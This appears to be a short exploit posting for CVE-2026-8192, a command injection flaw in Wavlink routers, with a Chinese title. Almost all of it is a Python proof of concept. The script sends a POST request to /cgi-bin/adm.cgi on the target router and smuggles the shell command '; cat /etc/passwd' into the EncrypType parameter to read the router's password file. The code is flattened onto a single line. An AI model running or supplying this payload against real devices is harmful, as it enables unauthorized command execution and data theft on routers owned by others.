CVE-2026-8192 Wavlink路由器OS命令注入漏洞

import requests # Target URL structure based on vulnerability description url = "http://<target_ip>/cgi-bin/adm.cgi" # The vulnerable function is 'wzdap', vulnerable parameters are 'EncrypType' and 'wl_Pass' # Payload to inject a command (e.g., ping back or cat a file) payload = "; cat /etc/passwd" data = { "action": "wzdap", "EncrypType": payload, "wl_Pass": "test" } try: response = requests.post(url, data=data) print("Status Code:", response.status_code) print("Response Body:", response.text) except Exception as e: print("An error occurred:", e)